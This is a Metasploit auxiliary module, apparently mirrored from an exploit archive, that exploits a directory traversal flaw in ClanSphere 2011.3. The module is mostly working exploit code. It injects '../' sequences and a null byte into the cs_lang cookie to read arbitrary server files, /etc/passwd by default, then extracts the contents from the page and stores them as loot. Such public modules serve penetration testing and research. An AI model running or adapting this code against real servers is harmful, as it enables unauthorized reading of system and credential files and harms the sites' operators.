## https://sploitus.com/exploit?id=PACKETSTORM:181069
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'ClanSphere 2011.3 Local File Inclusion Vulnerability',
'Description' => %q{
This module exploits a directory traversal flaw found in Clansphere 2011.3.
The application fails to handle the cs_lang parameter properly, which can be
used to read any file outside the virtual directory.
},
'References' =>
[
['OSVDB', '86720'],
['EDB', '22181']
],
'Author' =>
[
'blkhtc0rp', #Original
'sinn3r'
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2012-10-23'
))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/clansphere_2011.3/']),
OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
])
end
def run_host(ip)
base = normalize_uri(target_uri.path)
peer = "#{ip}:#{rport}"
print_status("Reading '#{datastore['FILE']}'")
traverse = "../" * datastore['DEPTH']
f = datastore['FILE']
f = f[1, f.length] if f =~ /^\//
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, "index.php"),
'cookie' => "blah=blah; cs_lang=#{traverse}#{f}%00.png"
})
if res and res.body =~ /^Fatal error\:/
print_error("Unable to read '#{datastore['FILE']}', possibly because:")
print_error("\t1. File does not exist.")
print_error("\t2. No permission.")
print_error("\t3. #{ip} isn't vulnerable to null byte poisoning.")
elsif res and res.code == 200
pattern_end = " UTC +1 - Load:"
data = res.body.scan(/\<div id\=\"bottom\"\>\n(.+)\n\x20{5}UTC/).flatten[0].lstrip
fname = datastore['FILE']
p = store_loot(
'clansphere.cms',
'application/octet-stream',
ip,
data,
fname
)
vprint_line(data)
print_good("#{fname} stored as '#{p}'")
else
print_error("Fail to obtain file for some unknown reason")
end
end
end